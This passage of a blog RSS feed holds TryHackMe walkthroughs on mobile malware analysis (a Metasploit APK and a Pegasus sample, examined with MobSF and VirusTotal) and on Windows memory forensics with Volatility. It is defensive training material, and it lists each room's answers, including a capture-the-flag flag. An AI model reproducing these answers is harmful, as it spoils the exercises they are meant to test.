open-source product. Both commercial and open-source will allow you to add Yara rules to expand its capabilities further to detect threats.</p><p>If it is not clear, the reason why <strong>file 2</strong> was not detected is that the Yara rule was not in the Yara file used by Loki to detect the hack tool (web shell) even though its the hack tool has been around for years and has even been attributed to at least 1 nation-state. The Yara rule is present in the commercial variant of Loki, which is Thor.</p><p>No answer needed</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a9af901fcecf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobile Malware Analysis — TryHackMe]]></title>
            <link>https://medium.com/@notfo/mobile-malware-analysis-tryhackme-fc761525f83c?source=rss-356ddbee4b59------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc761525f83c</guid>
            <category><![CDATA[mobsf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[android-malware-analysis]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[notfo]]></dc:creator>
            <pubDate>Fri, 26 Sep 2025 23:11:42 GMT</pubDate>
            <atom:updated>2025-09-26T23:11:42.486Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mobile Malware Analysis — TryHackMe</h3><p><strong>Task 1:Introduction</strong></p><p>It’s incredible how often our computers are in the scope of cyber attacks. Antivirus has become an indispensable shield to provide us with a more secure environment, since we are exposed to destructible malware and cyber attacks. Inside our pockets, we have computers so powerful, but much smaller, we must be equally attentive on our phones, because we can suffer equally damaging attacks, sometimes even worse, because they can store relevant information such as private conversations and important accounts.</p><p>No answer needed</p><p><strong>Task 2: An Unknown Land</strong></p><p>It is important to look at the past to understand why things are as they are today. A new technology, due to the lack of exploration, appears to be extremely reliable. Every system is reliable, until someone proves otherwise.You will need to do some research in order to answer the questions in this task.</p><p>Q1:What known as the first malware created to affect mobile devices?</p><pre>Cabir</pre><p>Q2:What technology does this worm used to multiply?</p><pre>Bluetooth</pre><p>Q3:What operating system did it infect?</p><pre>Symbian</pre><p>Q4:What message did it show on the screen of the infected mobile phone?</p><pre>Caribe</pre><p>Q5:The worm was created and sent out by researchers as a PoC (Proof of Concept), they did not believe that the mobile operating system could be easily exploited. Since then, malicious programs have become more popular.</p><p>No answer needed</p><p><strong>Task 3: Small size, a lot of destruction</strong></p><p>There is a weird file inside this machine, it looks malicious, but let’s not jump into conclusions.</p><p>Deploy the machine in this task and wait for the connection to the machine to be made in your browser.</p><p>Wait for the MobSF application to load (this may take a few minutes, but the process is automatic so please just be patient) and you will find the files you should analyse on the machines Desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/0*qX_DxP_dzdWUTyoN.png" /></figure><p><em>This view means that MobSF is ready to be used</em></p><p>Deploy the machine &amp; use MobSF to scan the file named “TWFsd2FyZQ.apk” that is located on the Desktop.</p><p>No answer needed</p><p>Q1:What is the format of the file?</p><pre>.apk</pre><p>Q2:The sample’s size is 10,1 bytes, so it seems that it is not a complex application.</p><p>No answer needed</p><p>Q3:Decode the name of the sample.</p><pre>Malware //TWFsd2FyZQ decode in base64</pre><p>Q4:Which is the target platform?</p><pre>Android</pre><p><strong>Task 4: Digging Deeper</strong></p><p>Let’s make a deeper analysis.</p><p>VirusTotal is a incredible service, this web site can give us the power of analyze a package with the database of more then seventy Anti-Virus, and the result is fast and accurate.</p><p><a href="https://www.virustotal.com/">https://www.virustotal.com/</a></p><p>To analyze the file in VirusTotal, you will need the file hash, you can get it by using the powershell cmdlet “Get-FileHash” or you can analyze the filw with MobSF and it will show the file hash (we will get back to this tool in the next task).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Dk55YgSMRBKO2JlE0CvCQ.png" /></figure><p>Q1:What does Avast-Mobile can tell us about this software?</p><p>Submit SHA256 hash to virus total</p><p><a href="https://www.virustotal.com/gui/file/e201a1d2cecf1d04d97d59abec0863c716dcf9fcad89b85d036f9163a48057e7">VirusTotal</a></p><pre>Android:Metasploit-Q [PUP]</pre><p>Q2:What program was used to create the malware?</p><pre>Metasploit</pre><p>Q3:The results provided by VirusTotal shows that we have a generic malware. It does not serve for attack purposes because we can see that a good part of the Antiviruses are detecting it, this malware is a good one for searching purposes, but it is also used for post exploitation.</p><p>No answer needed</p><p>Q4:What is the package name?</p><pre>com.metasploit.stage</pre><p>Q5:What is the SHA-1 signature?</p><pre>74d442594acf11dc6e3492ffea5eb8956afd000d</pre><p>Q6:By extracting the content, it will create a folder with some files inside, one of which is a XML. It describes some important information about the application for Android build tools, for Android operating system and for Google Play. This file declares items, shows some stuff as the package name and the permissions required to the device. The information that will be needed for the next questions can be found on VirusTotal also.</p><p>No answer needed</p><p>Q7:What is the unique XML file?</p><pre>AndroidManifest.xml</pre><p>Q8:How many permissions are there inside?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8cMP4mB9vlrbcaHzNBA3MA.png" /></figure><pre>22</pre><p>Q9:Which permission allows the application to take pictures with the camera?</p><pre>android.permission.CAMERA</pre><p>Q10:What is the message left by the community?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dhnhjDyqI2ib9V7Qi64DbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2bWXLpIaup1-bqoTJkMbdA.png" /></figure><pre>THM{V1ru5-T0t4al-TWFsd2FyZS1BbmFseXNpcw}</pre><p><strong>Task 5: MobSFing the sample</strong></p><p>Let’s use MobSF(Mobile Security Framework) to make a deeper analysis of this file, MobSF is a software created to make a security focused analysis of Android and IOS files. It can check for misconfigurations, leaked data and much more in a mobile program.</p><p>This tool can be used for static and dinamic analysis, in this room we will focus only in the static analysis but you are free to install it in a virtual machine you own to understand more how the application works, you can install it in GitHub — <a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF">https://github.com/MobSF/Mobile-Security-Framework-MobSF</a>.</p><p>The machine is configured to start MobSF when deployed, if you accidentally closed the web page you can visit the MobSF page by visiting the link <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000</a> inside the deployed machine. Press the “Upload &amp; Analyze” button and select the file we have been working on.</p><p>Q1:What is the programming language used to create the program?</p><pre>Java</pre><p>Q2:How many signatures does the package has?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_FDqqc_CMjH8UCSV17KVkg.png" /></figure><pre>1</pre><p>Q3:Application is signed with v1 signature scheme, what is it vulnerable to on Android &lt;7.0?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YY8OkJl3fsAj17xkSHdjpQ.png" /></figure><pre>Janus</pre><p>Q4:MobSF gives all the code decompiled. Just a base of programming make us able to understand a little bit of what is happening.</p><p>No answer needed</p><p>Q5:This malware is used to create a connection with the victim that is called a reverse shell.</p><p>No answer needed</p><p>Q6:What is the App name?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NEldh1OwaT3b-RBdl4dyIg.png" /></figure><pre>MainActivity </pre><p>Q7:It looks like there is a function calling for the package manager, so it can see all the installed applications. What function is that?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JxtJxIudGCzZbcAe45jJ_w.png" /></figure><pre>b.getPackageManager</pre><p>Returning to the manifest.</p><p>The flag “android:allowBackup” allows the user to backup application data via USB debugging. It is recommended that this be set as “False”, even if by default it is “True”.</p><p>Q8:What is the severity of this configuration?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5I3OMKpUvyFpBgsplI6dQ.png" /></figure><pre>medium</pre><p><strong>Task 6:It doesn’t smell good!</strong></p><p>I think that now we have the necessary knowledge to analyze bigger stuff.</p><p>Our next sample located on the Desktop, the name of the file is sample2.apk, let’s start a MobSF analysis on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VeWecHh_cvrYRnEIn6PJxQ.png" /></figure><p>Q1:What is the SHA-256 hash of the file?</p><pre>bd8cda80aaee3e4a17e9967a1c062ac5c8e4aefd7eaa3362f54044c2c94db52a</pre><p>Q2:After finding the sample on VirusTotal, what does the<strong> “Avast” anti-virus engine</strong> recognizes it as?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y9ruHRif_llmcVJu6VeR3w.png" /></figure><pre><br>Android:Obfus-BM [Trj]</pre><p>Q3:With what we have, try to find out the name of the sample.</p><pre>Pegasus</pre><p>It seems like it is a very dangerous malware and has a big history of destruction.</p><p>Q4:This became news for spying journalists, what year was that?</p><pre>2017</pre><p>It was reported that the malware was developed by a legitimate intention: The idea behind it was to use the software as a government tool designed to track and combat terrorism and crime.</p><p>Q5:This malware has been found infecting people’s smartphones and political activists in more than 44 countries.</p><p>No answer needed</p><p>If we search the name we found of the malware in MITRE ATT&amp;CK (https://attack.mitre.org/), we can find some interesting information.</p><p>Q6:What is the ID of the MITRE ATT&amp;CK that is associated with our sample?</p><pre>S0316</pre><p>Q7:What technique has the ability to exploit OS vulnerabilities to escalate privileges?</p><pre>T1404</pre><p>Q8:Now, let’s go back to the MobSF analysis.</p><p>No answer needed</p><p>Q9:There is a permission that when accepted, allows the application to access the list of accounts in the Accounts Service. What is the status shown by MobSF regarding this permission. (android.permission.GET.ACCOUNTS)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9wWoaHXoMNRdIN_sQUnOlg.png" /></figure><pre>dangerous</pre><p>Q10:What org.eclipse.paho.client file refers to properties of Portuguese from Brazil (pt-br)?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*30H0WtaJLVZPCu4Lxd9aVQ.png" /></figure><pre>org/eclipse/paho/client/mqttv3/internal/nls/messages_pt_BR.properties</pre><p>Q11:This software has several features that make the identification and the processes it performs to explore the target, harder to handle, even when it is being analyzed.</p><p>No answer needed</p><p>Q12:The malware has a special appeal for its safety and its internal components, reducing the risk of compromise. It has a functionality for its cryptographic operations with the feature of a random bit generation service. How can it be identified?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3N9ez6zSQBpYv2LrCJVJlw.png" /></figure><pre>FCS_RBG_EXT.1.1</pre><p><strong>Task 7:Conclusion</strong></p><p><a href="https://github.com/OWASP/owasp-mstg">https://github.com/OWASP/owasp-mstg</a><br><a href="https://attack.mitre.org/matrices/mobile/android/">https://attack.mitre.org/matrices/mobile/android/</a><br><a href="https://attack.mitre.org/matrices/mobile/android/">https://attack.mitre.org/matrices/mobile/ios/</a></p><p><a href="https://tryhackme.com/room/malmalintroductory">https://tryhackme.com/room/malmalintroductory</a><br><a href="https://tryhackme.com/room/androidhacking101">https://tryhackme.com/room/androidhacking101</a><br><a href="https://tryhackme.com/room/iosforensics">https://tryhackme.com/room/iosforensics</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc761525f83c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Memory & Processes — TryHackMe]]></title>
            <link>https://medium.com/@notfo/windows-memory-processes-tryhackme-012f5742a932?source=rss-356ddbee4b59------2</link>
            <guid isPermaLink="false">https://medium.com/p/012f5742a932</guid>
            <category><![CDATA[windows-memory-forensic]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[notfo]]></dc:creator>
            <pubDate>Wed, 30 Jul 2025 20:04:56 GMT</pubDate>
            <atom:updated>2025-07-30T20:04:56.020Z</atom:updated>
            <content:encoded><![CDATA[<h3>Windows Memory &amp; Processes — TryHackMe</h3><h3>Task 1: Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/0*GVo3IorG3Okg95fG.png" /></figure><p>Knowing how to analyze memory is an essential skill for a forensic analyst. Attackers often run their malware completely in memory without leaving any traces on the storage. Analyzing memory is slightly more complex than storage and requires a structured approach. Luckily, tools like Volatility and Redline can help extract information from memory. These tools don’t automate the whole process of memory analysis. It is still up to the forensic analyst to extract the correct information and link it together.</p><p>This room is the first in a set of three. It will guide you through analyzing a full memory dump of a Windows host and extracting information from its processes. If the host is indeed compromised, you will need to piece together the scope of the attack and the attack chain.</p><p><strong>Learning Objectives</strong></p><ul><li>Extract processes and process information from a memory dump using Volatility</li><li>Analyze the extracted information</li><li>Report findings</li></ul><p><strong>Room Prerequisites</strong></p><ul><li><a href="https://tryhackme.com/room/volatility">Volatility</a></li><li><a href="https://tryhackme.com/module/windows-fundamentals">Windows Fundamentals</a> module</li></ul><p>No answer needed</p><h3>Task 2: Scenario Information</h3><p><strong>Scenario</strong></p><p>You are part of the incident response team handling an incident at TryHatMe — a company that exclusively sells hats online. You are tasked with analyzing a full memory dump of a potentially compromised Windows host. Before you, another analyst had already taken a full memory dump and gathered all the necessary information from the TryHatMe IT support team. You are a bit nervous since this is your first case, but don’t worry; a senior analyst will guide you.</p><p><strong>Information Incident THM-0001</strong></p><ul><li>On May 5th, 2025, at 07:30 CET, TryHatMe initiated its incident response plan and escalated the incident to us. After an initial triage, our team found a Windows host that was potentially compromised. The details of the host are as follows:<br>- Hostname: WIN-001<br>- OS: Windows 1022H 10.0.19045</li><li>At 07:45 CET, our analyst Steve Stevenson took a full memory dump of the Windows host and made a hash to ensure its integrity. The memory dump details are:<br>- Name: THM-WIN-001_071528_07052025.dmp<br>- MD5-hash: 78535fc49ab54fed57919255709ae650</li></ul><p><strong>Company Information TryHatMe-Network Map</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cqvpeX3Y6ZN1qhJ_.png" /></figure><p>No answer needed</p><h3>Task 3: Windows Process Architecture</h3><p>You might wonder where to start analyzing the memory dump. Let’s start with a high-level overview of the key structures of processes on a Windows host. These structures are essential to understand where tools like volatility extract their information.</p><h3>Windows Processes and Threads</h3><p>There are four structures that Windows uses to create and manage processes:</p><ul><li><strong>EPROCESS</strong> is the representation of a process in the <strong>kernel</strong></li><li><strong>ETHREAD</strong> is the representation of a thread in the <strong>kernel</strong></li><li><strong>Process Environment Block (PEB)</strong> holds the process-wide configuration and runtime data and is located in the <strong>user space</strong></li><li><strong>Thread Environment Block (TEB)</strong> holds the thread-specific configuration and other information, including Thread Local Storage (TLS), exception handling data, and information about the stack, and is located in the <strong>user space</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UBvUE41pDYfwEjN8.png" /></figure><p><strong>How Do These Structures Relate?</strong></p><p>When Windows creates a process, it executes the function CreateProcess(). This function initiates the process start-up and consists of the following steps:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XIYgoq-PVZrEwmy_.png" /></figure><ol><li>The kernel creates an EPROCESS and ETHREAD object and links them together. EPROCESS has a field called ThreadListHead that keeps track of all its threads</li><li>The virtual memory is initialized:<br>- The process is assigned a virtual address space (in user mode)<br>- The image (EXE) is mapped into memory<br>- Space is allocated for the PEB and TEB<br>- Process parameters are created</li><li>The PEB and TEB are initialized.<br>- EPROCESS includes a pointer to the PEB<br>- ETHREAD includes a pointer to the TEB<br>- TEB includes a redundant pointer to the PEB</li><li>The thread context is set but remains suspended. This thread context includes:<br>- Start address of the program<br>- Stack pointer<br>- Instruction pointer</li><li>The process is created but is still suspended</li><li>The primary thread of the process is resumed. This is the actual start of the process</li></ol><h3>What Information Can You Extract From These Structures?</h3><p>Tools like volatility understand a process&#39;s architecture and can extract and relate data from these structures. Specific volatility modules will target certain fields of these structures. Below, you can find an overview of interesting fields for each structure. <strong>Note: Only the relevant fields are listed for each structure. The other fields have been omitted.</strong></p><p><strong>EPROCESS</strong><br>The following volatility plugins extract information from EPROCESS: pslist, pstree, psscan, malfind, getsids, handles, dlllist, cmdline, envars and ldrmodules. In the terminal below, you can find the fields these modules target:</p><pre>struct _EPROCESS { <br>    HANDLE UniqueProcessId; // PID (Process ID) <br>    LIST_ENTRY ActiveProcessLinks; // Link in active process list (Used to keep track of all active processes) <br>    UCHAR ImageFileName[15]; // Short process name LARGE_INTEGER CreateTime; // Process creation time <br>    LARGE_INTEGER ExitTime; // Exit time if terminated <br>    PPEB Peb; // Pointer to user-mode PEB <br>    HANDLE InheritedFromUniqueProcessId; // Parent PID <br>    LIST_ENTRY ThreadListHead; // List of ETHREADs <br>    PHANDLE_TABLE ObjectTable; // Handle table (points to opened files) <br>    PVOID SectionObject; // Executable image mapping <br>    PVOID VadRoot; // VAD tree for memory mapping PACCESS_TOKEN Token; // Security information <br>}</pre><p><strong>ETHREAD</strong><br>The following volatility plugins extract information from ETHREAD: threads, ldrmodules, apihooks and malfind. In the terminal below, you can find the fields these modules target:</p><pre>struct _ETHREAD { <br>    CLIENT_ID Cid; // Thread and Process IDs <br>    LARGE_INTEGER CreateTime; // Thread creation time <br>    LARGE_INTEGER ExitTime; // Thread exit time <br>    PVOID StartAddress; // Kernel-level entry point <br>    PVOID Win32StartAddress; // User-mode entry point <br>    LIST_ENTRY ThreadListEntry; // Link in EPROCESS&#39;s thread list <br>    PTEB Teb; // Pointer to TEB <br>    ULONG ThreadState; // Thread execution state <br>    ULONG WaitReason; // Reason for being blocked <br>}</pre><p><strong>PEB</strong><br>The following volatility plugins extract information from the Process Environment Block: cmdline, envars, ldrmodules and malfind. In the terminal below, you can find the fields these modules target:</p><pre>struct _PEB { <br>    BOOLEAN BeingDebugged; // Debug flag<br>    PVOID ImageBaseAddress; // Base address of executable <br>    PPEB_LDR_DATA Ldr; // Loader data (DLLs) <br>    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;// Command-line, environment variables<br>    ULONG NtGlobalFlag; // Debugging heap flags <br>    PVOID ProcessHeap; // Default process heap <br>}</pre><p><strong>TEB</strong><br>The following volatility plugins extract information from the Thread Environment Block: threads and malfind. In the terminal below, you can find the fields these modules target:</p><pre>struct _TEB { <br>    PVOID EnvironmentPointer; // Pointer to env block <br>    CLIENT_ID ClientId; // Thread + Process IDs <br>    PVOID ThreadLocalStoragePointer; // TLS base <br>    PPEB ProcessEnvironmentBlock; // Pointer to PEB <br>    ULONG LastErrorValue; // Last error value <br>    PVOID StackBase; // Upper bound of thread stack <br>    PVOID StackLimit; // Lower bound of thread stack <br>    PVOID Win32ThreadInfo; // GUI subsystem data <br>}</pre><p>Q1:What field is used to keep track of all the active processes? Only enter the fields’ name.</p><pre>ActiveProcessLinks</pre><p>Q2: What field is used to store the PID of a process? Only enter the fields’ name.</p><pre>UniqueProcessId</pre><h3>Task 4: Initial Triage of a New Memory Dump</h3><p>You refreshed your knowledge of Windows memory and processes in the previous task. You are ready to tackle the fun challenge of analyzing the provided memory dump. During this task, you will start up the analysis VM and verify the hash of the memory dump. Then, you will continue extracting the processes in the memory dump using volatility. After that, you will analyze the results and look for suspicious processes. Last, you will note down your findings.</p><h3>Environment and Setup</h3><p>During your investigation, you will use an Ubuntu Desktop host with the memory analysis tool volatility version 3. We have assigned the alias vol3 to the full command (python3 vol.py) to start volatility. Start the VM now by clicking the Start Machine button at the top of this task. The VM will start in split view. In case it’s not showing up, you can press the Show Split View button at the top of the page.</p><p>The default installation of Ubuntu Desktop comes with command-line utilities that supplement volatility and allow you to parse the analysis results in additional detail. These tools include strings, diff, grep, comm, awk, and more.</p><h3>Verifying the Memory Dump</h3><p>Open a shell on the analysis VM and navigate to /home/ubuntu. Then use the md5sum command to calculate the MD5 hash of the memory dump. <strong>Note: You don&#39;t need to enter the command. We have already pre-calculated the hash for you. Due to restrained resources it could take up to five minutes to calculate an MD5 hash.</strong></p><p>CalculateMD5Hash</p><pre>ubuntu@tryhackme:~$ md5sum THM-WIN-001_071528_07052025.mem &gt; newhash.txt</pre><p>Then, compare the newly calculated hash with the hash that you received from your colleague who did the memory acquisition:</p><p>Compare Hashes</p><pre>ubuntu@tryhackme:~$ diff acquisitionhash.txt newhash.txt</pre><p>If the above command shows no output, the hashes are the same. Now that you have verified the integrity of the memory dump, you can proceed with extracting its content.</p><h3>Extract Processes</h3><p>volatility comes with multiple modules that can help you extract processes and their information:</p><ul><li>windows.pslist: extract a list of the <strong>active processes at the time of the memory dump</strong></li><li>windows.psscan: extract <strong>all process objects, </strong>including terminated and unlinked processes</li><li>windows.pstree: extracts a list of the <strong>active processes at the time of the memory dump </strong>and visualizes the parent-child relationships between them</li><li>windows.psxview: uses multiple process detection techniques to gather information about processes, threads, process structures, and handles, then cross-reference and compare this information.</li></ul><p>Navigate to the VM and open a terminal. Now, enter the commands below to extract the active processes from the memory dump and save them in a text file. <strong>Note: Due to size of the memory dump and limited resources, it can take up to a minute until the command finishes running.</strong></p><pre>ubuntu@tryhackme:~$ vol3 -f THM-WIN-001_071528_07052025.mem windows.pslist &gt; pslist.txt</pre><p>Now, use cat to display the content of pslist.txt and analyze the output. Here is a tip: pipe the output to the command less to get a scrollable output. You can then <strong>press space to scroll through the output</strong>. You can press q to exit.</p><pre>ubuntu@tryhackme:~$ cat pslist.txt | less<br>Volatility 3 Framework 2.26.2<br>PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output<br>        <br>4   0   System         0x990b2366a040 138 - N/A False 2025-05-07 07:08:48.000000 UTC N/A Disabled<br>        <br>92  4   Registry       0x990b236dc080 4 - N/A False 2025-05-07 07:08:44.000000 UTC N/A Disabled<br>        <br>324 4   smss.exe       0x990b2680e040 2 - N/A False 2025-05-07 07:08:48.000000 UTC N/A Disabled<br>        <br>440 420 csrss.exe      0x990b26cf0140 12 - 0 False 2025-05-07 07:08:48.000000 UTC N/A Disabled<br>        <br>516 508 csrss.exe      0x990b274bd080 13 - 1 False 2025-05-07 07:08:48.000000 UTC N/A Disabled<br>        <br>524 420 wininit.exe    0x990b2758a140 1 - 0 False 2025-05-07 07:08:48.000000 UTC N/A Disabled<br>        <br>592 508 winlogon.exe   0x990b275c00c0 6 - 1 False 2025-05-07 07:08:48.000000 UTC N/A Disabled<br>        <br>[REDACTED FOR READABILITY]</pre><h3>Finding a Needle in a Haystack</h3><p>You are looking for suspicious processes that match one of the indicators below:</p><p><strong>Suspicious Name</strong></p><p>Attackers like to use typosquatting to masquerade as a legitimate process. For example:</p><ul><li>scvhost.exe instead of svchost.exe</li><li>explorere.exe instead of explorer.exe</li><li>lsasss.exe instead of lsass.exe</li></ul><p><strong>Suspicious Path</strong></p><p>Attackers will use process names identical to legitimate processes, but the processes are located in an unusual path. For example:</p><ul><li>svchost.exe starting from C:\Users\analyst\ instead of C:\Windows\System32\</li><li>cmd.exe starting from C:\TMP\ instead of C:\Windows\System32\</li></ul><p><strong>Masquerading</strong></p><p>Attackers will use process names that mimic processes and system services. For example:</p><ul><li>dockerupdater.exe</li><li>defenderAV.exe</li><li>pdfupdateservice.exe</li></ul><h3>Comparing With a Baseline</h3><p>It is sometimes difficult to distinguish between legitimate and malicious processes. The process list in the previous paragraph is luckily not so extensive, but if it were, you could use the following method to narrow down the number of processes to go through:</p><ul><li>Ensure you have a baseline of the processes that run on a host in normal circumstances. For example, during regular business hours</li><li>Compare the windows.pslist output with the baseline to get a shortlist of processes that were not included in the baseline</li><li>Filter the processes by comparing them to a shortlist of common processes that run when updating software. You can check the task scheduler to find these processes</li><li>Investigate the leftover processes</li></ul><p>Continue with the VM and enter the following commands to compare the pslist.txt file to the baseline.txt file located in ~\baseline\ (Note: the baseline file was extracted from the Task Manager, so you need to prepare it first):</p><pre>ubuntu@tryhackme:~$ awk &#39;NR &gt;3{print $2}&#39; baseline/baseline.txt | sort | uniq &gt; baseline_procs.txt<br>ubuntu@tryhackme:~$ awk &#39;NR &gt;3{print $3}&#39; pslist.txt | sort | uniq &gt; current_procs.txt<br>ubuntu@tryhackme:~$ comm -13 baseline_procs.txt current_procs.txt<br>[REDACTED FOR READABILITY]<br>WINWORD.EXE<br>ai.exe<br>audiodg.exe<br>cmd.exe<br>fontdrvhost.ex<br>msdtc.exe<br>pdfupdater.exe<br>smartscreen.ex<br>sppsvc.exe<br>updater.exe<br>userinit.exe<br>vm3dservice.ex<br>vmtoolsd.exe<br>windows-update</pre><p>The first two lines including awk in the terminal above prepare the files to be compared:</p><ul><li>awk &#39;NR &gt;3{print $2}&#39; divides the files content in columns excluding the first 3 lines and then prints the n-th column as output</li><li>sort sorts the values that were passed along from the awk command</li><li>uniq &gt; *.txt filters out duplicates and then saves the data to a text file</li></ul><p>The comm command compares the content of each prepared file and outputs the difference. The flags -13 are set so only the processes unique to current_procs.txt are displayed.</p><p>The results listed in the terminal above need to be interpreted first. Some of the processes included are false positives. These are, for example:</p><ul><li>Legitimate processes that were not running at the time of capturing the baseline</li><li>Processes where the ImageFileName field was too long and was truncated. This field can only accommodate 16 bytes.</li></ul><p>Knowing which processes are false positives requires some additional research. The processes below have made it onto your shortlist:</p><ul><li>pdfupdater.exe</li><li>windows-update.exe</li><li>updater.exe</li></ul><h3>Analysis Notes and Next Steps</h3><p>You have found three suspicious processes that require further analysis. The table below gives an overview of these suspicious processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RSmxBCQm1XH-T_05zEvw0Q.png" /></figure><p>Continue to the next task and see if these processes are linked to each other or other processes. This might help you uncover other processes that were not initially suspicious but are now suspicious within a new context.</p><p>Q1:What is the PID of the csrss.exe process that has 12 threads? You can use the pslist.txt file to find the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*bk2wfn7Fl_r0K94beYndnQ.png" /></figure><pre>440</pre><p>Q2: What is the (memory) Offset(V) of the process with PID 5672? You can use the pslist.txt file to find the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*HJuFViVu8w8N_CfIShosDg.png" /></figure><pre> 0x990b29293080 </pre><h3>Task 5: Linking Processes</h3><p>In the previous task, you found multiple separate suspicious processes. Before digging deeper into the memory of these processes, you should first uncover if there is any link between these processes and others. This will help you find other potentially suspicious processes. The terminal below shows what a malicious process tree could look like:</p><pre>explorer.exe (PID: 1500)<br>└── cmd.exe (PID: 2200)                  ← Triggered by malicious LNK file<br>    └── powershell.exe (PID: 2210)       ← Downloads and executes the payload<br>        └── svchost.exe (PID: 2220)      ← Masquerades as a system process<br>            └── asyncrat.exe (PID: 2230) ← Remote Access Trojan (C2 beaconing)</pre><p>The example above is an attack chain in which asyncrat, a common Remote Access Trojan, was deployed after a user clicked on a malicious LNK file. The LNK file spawns a command line, cmd.exe, which then launches PowerShell to download and execute a payload. PowerShell, in turn, uses svchost.exe to masquerade as a system process and spawns asyncrat.exe.</p><p>Continuing with the VM, enter the following command to generate a tree structure that shows the memory dump’s process parent-child relationships. <strong>Note: Due to size of the memory dump and limited resources, it can take up to a minute until the command finishes running.</strong></p><p>Show Process Tree</p><pre>ubuntu@tryhackme:~$ vol3 -f THM-WIN-001_071528_07052025.mem windows.pstree &gt; processtree.txt</pre><p>The output shown with the cat command is quite overwhelming. You can use the cut command to process the processtree.txt file and only display the PID, PIDD, and image name values. Enter the following command to accomplish this:</p><p>Parse Process Tree</p><pre>ubuntu@tryhackme:~$ cut -d$&#39;\t&#39; -f1,2,3 processtree.txt<br>PID             PPID    ImageFileName<br>[REDACTED]<br>592             508     winlogon.exe<br>* 5232          592     userinit.exe<br>** 5672         5232    explorer.exe<br>*** 5952        5672    cmd.exe<br>**** 3144       5952    conhost.exe<br>*** 5252        5672    WINWORD.EXE<br>**** 3392       5252    pdfupdater.exe<br>***** 2576      3392    conhost.exe<br>***** 10084     3392    windows-update<br>****** 10032    10084   updater.exe<br>******* 432     10032   cmd.exe<br>******** 4592   432     conhost.exe<br>******** 6984   432     powershell.exe<br>**** 3932       5252    ai.exe<br>*** 8936        5672    SecurityHealth<br>*** 9096        5672    msedge.exe<br>**** 8100       9096    msedge.exe<br>**** 9164       9096    msedge.exe<br>**** 3500       9096    msedge.exe<br>**** 7408       9096    msedge.exe<br>**** 9264       9096    msedge.exe<br>**** 4152       9096    msedge.exe<br>**** 7420       9096    msedge.exe<br>[REDACTED]</pre><p>The results above have been redacted for readability. The results shown include the processes of interest you discovered in the previous task.</p><p><strong>Observations</strong></p><p>Now locate the processes you noted during task 3 and check if they relate to other processes. Starting from the WINWORD.exe process, you can see a clear tree structure. We converted the tree to an ASCII tree structure to show it more clearly.</p><pre>PID         PPID    IMAGENAME<br>5252        5672    WINWORD.EXE<br>└── 3392       5252    pdfupdater.exe    <br>    ├── 2576      3392    conhost.exe    <br>    └── 10084     3392    windows-update        <br>        └── 10032    10084   updater.exe            <br>            └── 432     10032   cmd.exe                <br>                ├── 4592   432     conhost.exe                <br>                └── 6984   432     powershell.exe</pre><p>Now note down the observations starting from the bottom:</p><ul><li>The process powershell.exe with the PID ... has the PPID ...</li><li>The process conhost.exe with the PID ... has the PPID ...</li><li>The process linked to PPID … is cmd.exe and has the PID ...</li><li>And so on</li></ul><h3>Analysis Notes and Next Steps</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*3wouAKZNCY7fHTLY7Yh1UA.png" /></figure><p>From the observations (see table above), we can conclude that the updater.exe process is a child process of windows-update.exe, a child process of pdfupdater.exe. The pdfupdater.exe process is a child of WINWORD.exe. This chain of processes seems quite suspicious:</p><ul><li>Multiple of these processes have the name update in them</li><li>The WINDWORD.exe process launches the pdfupdater.exe process. This would mean that Microsoft Word is updating a tool related to PDF</li><li>The pdfupdater.exe process then launches the windows-update.exe. It is highly unlikely that a tool that would update one software would also launch the windows-update.exe process to update the Windows OS</li><li>To top it off, the windows-update.exe process launches the updater.exe process, which seems to hint at yet another update</li><li>The presence of the conhost.exe process also indicates that these processes seem to initiate a network connection</li></ul><p>Looking closely at these observations and remarks and comparing them with factual information like how the Windows, PDF tool, and Microsoft Word update process works 